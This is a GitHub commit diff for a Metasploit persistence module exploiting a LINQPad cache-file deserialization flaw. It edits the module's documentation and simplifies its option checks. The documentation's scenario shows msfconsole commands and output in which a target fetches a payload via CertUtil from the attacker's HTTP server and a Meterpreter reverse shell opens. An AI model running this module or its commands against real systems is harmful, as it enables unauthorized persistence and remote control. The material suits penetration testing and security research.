Skip to content

Commit 44c3d9b

Browse files
committed
Fixes documentation, removes unused parameters, code cleanup
1 parent 65f764e commit 44c3d9b

File tree

2 files changed

+30
-33
lines changed

2 files changed

+30
-33
lines changed
Lines changed: 28 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,53 +1,53 @@
11
## Vulnerable Application
22

3-
LINQPad is a scratchpad for .NET programming. Versions prior to 5.52.01 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/LINQPad5.aspx).
3+
LINQPad is a scratchpad for .NET programming.
4+
Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting.
5+
Application can be downloaded from [here](https://www.linqpad.net/).
6+
47

58
## Verification Steps
69

710
1. Install the application
811
2. Start msfconsole
9-
3. Get Meterpreter/cmd shell
10-
4. Run: `use windows/local/linqpad_deserialization_persistence`
12+
3. Get session
13+
4. Run: `use windows/local/linqpad_deserialization`
1114
5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters
1215
6. Set parameters `session`, `cache_path`, `linqpad_path`, `cleanup`
1316
7. Run exploit
1417

1518
## Options
1619

17-
### cleanup
18-
19-
Enable cleanup of malicious file. The module will replace cache filewith malicious content. If `cleanup` is enabled, after successful execution, the module will remove malicious cache file. The original file will be restored upon re-execution of Linqpad.
2020

2121
### cache\_path
2222

23-
The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file.
24-
25-
### linqpad\_path
23+
The parameter sets path for folder, where vulnerable cache file is present.
24+
This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file.
2625

27-
Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit.
2826

2927
## Scenarios
3028

3129
```
3230
msf > use exploit/multi/handler
33-
msf exploit(multi/handler) > set LHOST 192.168.95.128
34-
msf exploit(multi/handler) > set LPORT 4242
31+
msf exploit(multi/handler) > set LHOST 192.168.3.7
32+
msf exploit(multi/handler) > set LPORT 4545
3533
msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
36-
msf exploit(multi/handler) > run
37-
[*] Started reverse TCP handler on 192.168.95.128:4242
38-
[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100
39-
40-
meterpreter > background
41-
[*] Backgrounding session 1...
42-
msf exploit(multi/handler) > use windows/local/linqpad_deserialization_persistence
43-
msf exploit(windows/local/linqpad_deserialization_persistence) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe
44-
msf exploit(windows/local/linqpad_deserialization_persistence) > set payload windows/exec/cmd
45-
msf exploit(windows/local/linqpad_deserialization_persistence) > set cache_path C:/Users/ms/AppData/Local/LINQPad
46-
msf exploit(windows/local/linqpad_deserialization_persistence) > set CMD calc.exe
47-
msf exploit(windows/local/linqpad_deserialization_persistence) > set session 1
48-
msf exploit(windows/local/linqpad_deserialization_persistence) > exploit
4934
[*] Exploit completed, but no session was created.
35+
msf exploit(windows/persistence/linqpad_deserialization_persistence) >
36+
[*] Fetch handler listening on 192.168.3.7:8080
37+
[*] HTTP server started
38+
[*] Adding resource /LCG8z8xZZXJnz_uKNIZRPw
39+
[*] Started reverse TCP handler on 192.168.3.7:4545
40+
[*] Running automatic check ("set AutoCheck false" to disable)
41+
[+] The target appears to be vulnerable. LINPad and vulnerable cache file present, target possibly exploitable
42+
[*] Create deserialization payload
43+
[*] Saving the original content
44+
[*] Saved at: /home/ms/.msf4/loot/20251027153340_default_10.5.132.148_CUsersmsfuser_949460.txt
45+
[*] Overwriting file
46+
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_1909_BE09_20251027.3341/WIN10_1909_BE09_20251027.3341.rc
47+
[*] Client 10.5.132.148 requested /LCG8z8xZZXJnz_uKNIZRPw
48+
[*] Sending payload to 10.5.132.148 (Microsoft-CryptoAPI/10.0)
49+
[*] Client 10.5.132.148 requested /LCG8z8xZZXJnz_uKNIZRPw
50+
[*] Sending payload to 10.5.132.148 (CertUtil URL Agent)
51+
[*] Sending stage (203846 bytes) to 10.5.132.148
52+
[*] Meterpreter session 2 opened (192.168.3.7:4545 -> 10.5.132.148:50045) at 2025-10-27 15:33:53 +0100
5053
```
51-
52-
Previous example will run `calc.exe` when LINQPad will start.
53-

modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb renamed to modules/exploits/windows/persistence/linqpad_deserialization.rb

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
super(
2020
update_info(
2121
info,
22-
'Name' => 'LINQPad Deserialization Exploit',
22+
'Name' => 'LINQPad Deserialization',
2323
'Description' => %q{
2424
This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
2525
},
@@ -46,17 +46,14 @@ def initialize(info = {})
4646
)
4747
)
4848
register_options([
49-
OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']),
5049
OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
5150
])
5251
end
5352

5453
# Simplify pulling the writable directory variable
5554

5655
def check
57-
if datastore['LINQPAD_FILE'].blank? || !file?(datastore['LINQPAD_FILE'])
58-
return Exploit::CheckCode::Safe('LINQPad binary not specified or doesn\'t exist')
59-
elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
56+
if !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
6057
return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
6158
elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
6259
return Exploit::CheckCode::Unknown('Cannot find cache file')

0 commit comments

Comments
 (0)